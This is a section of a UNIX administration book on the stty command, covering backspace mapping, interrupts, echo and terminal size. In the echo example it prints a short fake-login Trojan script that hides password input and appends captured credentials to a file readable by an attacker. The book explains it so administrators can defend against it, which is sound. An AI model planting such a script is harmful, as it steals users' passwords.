UNIX Hints & Hacks

ContentsIndex

Chapter 7: Displays and Emulations

 

Previous ChapterNext Chapter

Sections in this Chapter:

   

7.1 Terminal Types

 

7.5 Testing ASCII Terminals

 

7.8 Refreshing X

 

7.11 Control the Mouse with the Keyboard

7.2 Setting Terminal Types

 

7.6 Troubleshooting ASCII Terminals

 

7.9 Killing Resources with xkill

 

7.12 Display from a Remote X Server

7.3 Make Use of stty

 

7.7 Sharing STDIN/STDOUT on Two Terminals

 

7.10 Setting xterm Titlebars

 

7.13 ASCII Table in UNIX

7.4 Hotkeys

 

 

 

 

 

 

 

7.3 Make Use of stty

7.3.1 Description

7.3.1 Description

You can set terminal I/O options for the device that is the current terminal providing the standard input. When the stty command is executed alone, it provides the current settings of all the available options:

rocket 8% stty -a
speed 9600 baud; line = 1; 0 rows; 0 columns
intr = ^C; quit = ^\; erase = ^H; kill = ^U; eof = ^D; eol = ^@; old-swtch = ^@; susp = ^Z
lnext = ^V; werase = ^W; rprnt = ^R; flush = ^O; stop = ^S; start = ^Q; dsusp = ^@
-parenb -parodd cs8 -cstopb hupcl cread clocal -cnew_rtscts -loblk
-ignbrk brkint ignpar -parmrk -inpck istrip -inlcr -igncr icrnl -iuclc
ixon -ixany -ixoff -imaxbel isig icanon iexten -xcase echo echoe echok echoke
echoctl -echoprt -echonl -noflsh -flusho -pendin -tostop opost -olcuc onlcr
-ocrnl -onocr -onlret -ofill -ofdel tab3

Although many options are available, I'll mention only some of the most common that a system administrator will run across. Check the man pages on your system for more details about the meaning and features the other options provide.

Example One: Dealing with ^? or ^H

Flavors: AT&T, BSD

Syntax:

stty [options]

Everyone has experienced it at one point or another: You hit the backspace and you get the ^H or ^? character. This happens when the keys are incorrectly mapped by the terminal type settings in termcap or terminfo. You generally see this only when the vendor has optioned for the Delete key to control backspacing on the terminal instead of the Backspace key. So how do you get rid of it? Fast!

There are a few simple ways to do handle this situation. The ^? and ^H aren't dependent on the shell that you are in; they're dependent on the keys they're mapped to. The following examples show how the commands can be used for any shell type.

Shells: sh, ksh

$ stty erase ^?

Shell: csh

% stty erase ^H

Use the erase option in stty to update the terminal I/O options for handling the backspace. Hit Backspace for either character ( ^H or ^?) to appear. This is a temporary fix and will have to be done manually every time.

Shells: sh, ksh

$ echo "stty erase ^?" >> .profile

Shell: csh

% echo "stty erase ^H" >> .cshrc

You can append the stty erase option to the end of the startup file of your shell. This way, every time you log in to the system, the startup file executes the command for you. This should be done before the manual stty erase command is entered. If it's not, you will never be able to get the ^? or ^H character to appear in your echo statement.

The last option is to create a ^? script. You cannot create the script from within an editor, though. When in the editor, the key mapping is controlled by the editor and might map correctly. So here's how you do it:

% echo "stty erase ^?" > ^?
% chmod 755 ^?

The echo statement creates a file called ^?. Then use the chmod command to change the permissions to make the file executable.

UNIX(r) System V Release 4.0 (rocket)
login: guest
Password: *****
Last login: Sun Nov 29 11:03:01 from planet
Sun Microsystems Inc.   SunOS 5.5.1     Generic May 1996
rocket 1% ^? [return]

Now when you log in to the system, you can immediately hit the Backspace ( ^?) key and Return. Two quick keystrokes and you're finished; the Backspace key is set.

-rwxr-xr-x  1 guest       13 Nov 29 19:22
drwxr-xr-x 15 guest     1536 Nov  3 10:33 .
drwxr-xr-x 36 root      1024 Jun  1  1998 ..
-rw-r--r--  1 guest      247 Mar 21  1998 .cshrc
-rw-r--r--  1 guest       62 Dec  8  1993 .login
-rw-r--r--  1 guest       92 Sep 15  1994 .profile

Depending on your defined terminal type, this script might not ever appear in a directory listing. It can appear as a blank line at the top of the listing, or it might have the filename ^?. Typically, no files should exist above the current directory (.) line of a directory listing. When a filename does (or does not) show up, this should alert a system administrator to a possible security issue. This method can be used at your discretion.

Use Ctrl+Backspace to get the Backspace when you are too lazy to type the stty command. On most terminals, when the ^? appears, it can be removed with a Ctrl+Backspace, and so can the rest of the characters that need erasing.

Example Two: Interrupt with Ctrl+C

Flavors: AT&T, BSD

Syntax:

stty [options]

One of the worst things you'll see is when you run cat on a large file (or run a script) and hit Ctrl+C and nothing happens. You often forget the name of an option in stty that can help in this situation. It is the intr (interrupt) option.

% stty intr ^c

It is simple to use, but it's the most commonly overlooked option in stty. If you have the chance to set this in your startup files, add it and avoid wasting time in the future.

Shell: sh, ksh

$ echo "stty intr ^c" >> .profile

Shell: csh

% echo "stty intr ^c" >> .cshrc

This stty option gets lost every once in a while when you log in across different platforms from the same terminal.

Example Three: Turning off echo

Flavors: AT&T, BSD

Syntax:

stty [options]

The stty provides an echo option that keeps any keystrokes from being displayed to the terminal. From time to time when you're working in UNIX, you might accidentally run cat on a directory or a binary file. If you have already done it, you know that a continuous stream of beeps and cryptic characters are sent to the terminal. If you are lucky enough to break out of the cat command, you sometimes are left in a state where hitting a key does absolutely nothing. In cases such as this, the echo in stty might have been disabled. The stty can be used to enable the echoing of keystrokes again.

% stty echo

If you wanted to turn off the echo of a keystroke for any reason, you can disable it with the -echo option.

% stty -echo

Some administrators and programmers use this as a poor man's way of hiding a password as it's being entered. Although the data packets are not encrypted over the network, it conceals any keystrokes that are made on the terminal.

Here is a quick and dirty script that pops up from time to time as a Trojan horse when hackers try to compromise another user's password. The idea is that a hacker sources this script from a startup file, such as .cshrc, that has its permissions lowered. When this is placed at the top of the startup file or executed first, users can be deceived into thinking that they didn't accomplish a successful login. They enter their IDs and passwords again, and they are saved to an area that the hacker can read from. The users never know what happened.

echo "Closed Connection."
echo; echo;
echo -n "login: "; read NAME
echo -n "Password: ";
stty -echo; read PASSWD; stty echo
echo "$NAME:$PASSWD" >> ~hacker/passwords

Line 1: Display that an incorrect login entry was made (when in fact it wasn't).

Line 2: Ask for the login name again, and read it into the variable NAME.

Line 3: Ask for the password.

Line 4: Turn off the keystroke echo, accept the password, and turn the keystroke echo back on.

Line 5: Write the ID and password out to a file that is world readable by the hacker and continue through the startup file.

This little password-hacking script and similar versions have been seen in place of /usr/bin/login and the /bin/su programs when they have been compromised. With this information, I hope that you can develop a strategy against it.

Example Four: Setting Columns and Rows

Flavors: AT&T, BSD

Syntax:

stty [options]

When the terminal emulation is not working and you try to vi a file or use special advanced screen features on your terminal, verify that the columns and rows are set correctly in stty. Usually you find that these are set by default to zero rows and zero columns.

% stty cols 80
% stty rows 24

The system assumes that the terminal type settings will default with the proper setting. Setting the columns to 80 and the rows to 24 can fix some emulation problems that exist at times.

Reason

The stty enables you quick and manual control over the terminal characteristics that are set up on the system. The settings sometimes don't match the terminal you are working from and need to be manipulated in various ways.

Real World Experiences

It is sometimes difficult being with a user and trying to fix his problem while you are continually setting the options in stty. Every time this happens, the user wants to know what you're doing and why. The explanation of why the terminal emulation is not functioning the way it should is one more thing that sounds broken to the user. Presetting these stty options when you log in or referencing them from within a login file will fix these little annoyances.

Other Resources

Man pages:

stty

UNIX Hints & Hacks

ContentsIndex

Chapter 7: Displays and Emulations

 

Previous ChapterNext Chapter

Sections in this Chapter:

   

7.1 Terminal Types

 

7.5 Testing ASCII Terminals

 

7.8 Refreshing X

 

7.11 Control the Mouse with the Keyboard

7.2 Setting Terminal Types

 

7.6 Troubleshooting ASCII Terminals

 

7.9 Killing Resources with xkill

 

7.12 Display from a Remote X Server

7.3 Make Use of stty

 

7.7 Sharing STDIN/STDOUT on Two Terminals

 

7.10 Setting xterm Titlebars

 

7.13 ASCII Table in UNIX

7.4 Hotkeys

 

 

 

 

 

 

 

© Copyright Macmillan USA. All rights reserved.